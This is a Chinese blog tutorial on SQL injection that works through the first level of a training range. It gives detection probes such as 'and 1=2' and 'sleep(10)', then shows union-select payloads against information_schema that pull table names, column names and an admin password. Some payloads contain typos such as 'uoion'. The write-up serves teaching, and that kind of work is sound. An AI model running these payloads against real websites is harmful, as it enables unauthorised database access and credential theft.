初识SQL注入(原理+封神台第一关)

本文详细描述了如何利用用户输入的数据作为SQL代码执行,涉及运算符检测、SQL注入检测方法,以及如何通过union查询获取数据库信息,包括字段名、表名和数据内容。还讨论了limit的使用和安全注意事项。
摘要由CSDN通过智能技术生成

1.定义:

用户输入的数据当做SQL代码执行


2.条件:

用户控制。

原本程序要执行代码,与用户的代码拼接执行


3.监测漏洞是否存在(运算符检测漏洞)

and 1=1  (考虑传参强转)  

and   1=2(and可以用&&代替)

 and   sleep(10)  等待数据库,延时(当为静态时)
   id=1+1(如果返回数据为空,则为get传参,所有的get传参都要用URL编码的,+在URL里代表着空格)或id=2-1


4.利用漏洞看是否能拿到数据

union 联合查询

order by(查询字段数)

查询字段名,数据库名,数据库版本,表名

select  字段名  from  表名  where  条件

不建议用group_contact,(多行数据输出)(因为有些情况显示有限制,建议一个一个查询),用limit

注释:/*,--,#

5.例题

?id=1,正常

?id=1 and 1=1,正常

?id=1 and 1=2 有问题,暂时确定有SQL注入

判断字段数

正常

不正常,所以字段数为2

判断回显

?IP=1 and 1=2 union select1,2

在数字2处得到想要的内容

数据库名为maoshe

数据库的版本为5.5.53

得到表名为admin,

语句:?ip=1 and 1=2 uoion select 1, table_name from information_schema.tables where table_schema=database() limit 0,1

limit的用法;

limit a,b表示从a+1条语句开始查询b条语句

查询字段名

?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

查出admin下有id,username,password三个字段

查询字段下的内容

Limit 1,1

有两个用户

该题的flag就是密码


 

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值